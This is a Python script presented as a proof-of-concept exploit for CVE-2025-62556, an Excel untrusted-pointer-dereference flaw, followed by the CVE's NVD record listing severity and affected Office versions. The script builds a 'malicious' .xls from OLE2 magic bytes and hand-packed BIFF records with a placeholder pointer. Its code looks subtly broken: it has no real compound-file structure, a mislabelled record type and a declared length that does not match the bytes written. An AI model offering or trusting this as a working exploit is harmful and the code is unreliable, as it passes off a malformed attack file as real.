CVE-2025-62556

# CVE-2025-62556 PoC - Malicious Excel File Structure # This PoC demonstrates the vulnerability concept (for educational purposes only) import struct from io import BytesIO def create_malicious_excel(): """ Create a PoC Excel file that triggers CVE-2025-62556 The vulnerability allows pointer dereference manipulation """ # Excel file magic bytes (XLS format) header = b'\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1' # Malicious payload structure # Trigger untrusted pointer dereference via crafted record payload = bytearray() # BOF Record (Beginning of File) payload.extend(b'\x09\x08\x00\x00\x00\x10\x00\x00') # Malformed record with untrusted pointer # Type: 0x0205 (Dimension record - manipulated) payload.extend(b'\x05\x02') # Length: 14 bytes payload.extend(struct.pack('<H', 14)) # Malicious pointer value (triggers dereference vulnerability) payload.extend(struct.pack('<Q', 0x4141414141414141)) # EOF Record payload.extend(b'\x0A\x00') payload.extend(struct.pack('<H', 0)) # Combine header and malicious content malicious_file = header + payload return malicious_file def save_poc_file(filename='CVE-2025-62556_poc.xls'): """Save the PoC file""" poc_data = create_malicious_excel() with open(filename, 'wb') as f: f.write(poc_data) print(f'PoC file created: {filename}') print('Warning: This file is malicious and should only be used in controlled environments') if __name__ == '__main__': save_poc_file()

{"cve": {"id": "CVE-2025-62556", "sourceIdentifier": "[email protected]", "published": "2025-12-09T18:16:00.960", "lastModified": "2025-12-10T15:42:57.387", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Untrusted pointer dereference in Microsoft Office Excel allows an unauthorized attacker to execute code locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-822"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:*", "matchCriteriaId": "3259EBFE-AE2D-48B8-BE9A-E22BBDB31378"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:*", "matchCriteriaId": "CD25F492-9272-4836-832C-8439EBE64CCF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:excel:2016:*:*:*:*:*:x64:*", "matchCriteriaId": "CD88F667-6773-4DB7-B6C3-9C7B769C0808"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:excel:2016:*:*:*:*:*:x86:*", "matchCriteriaId": "B342EF98-B414-44D0-BAFB-FCA24294EECE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x64:*", "matchCriteriaId": "CF5DDD09-902E-4881-98D0-CB896333B4AA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x86:*", "matchCriteriaId": "26A3B226-5D7C-4556-9350-5222DC8EFC2C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x64:*", "matchCriteriaId": "851BAC4E-9965-4F40-9A6C-B73D9004F4C1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x86:*", "matchCriteriaId": "23B2FA23-76F4-4D83-A718-B8D04D7EA37B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:macos:*:*", "matchCriteriaId": "BF0E8112-5B6F-4E55-8E40-38ADCF6FC654"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x64:*", "matchCriteriaId": "D31E509A-0B2E-4B41-88C4-0099E800AFE6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x86:*", "matchCriteriaId": "017A7041-BEF1-4E4E-AC8A-EFC6AFEB01FE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:macos:*:*", "matchCriteriaId": "EF3E56B5-E6A6-4061-9380-D421E52B9199"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_online_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "16.0.10417.20075", "matchCriteriaId": "006A74C2-A28C-40D5-BE4D-AB8C0F3C16B8"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-62556", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}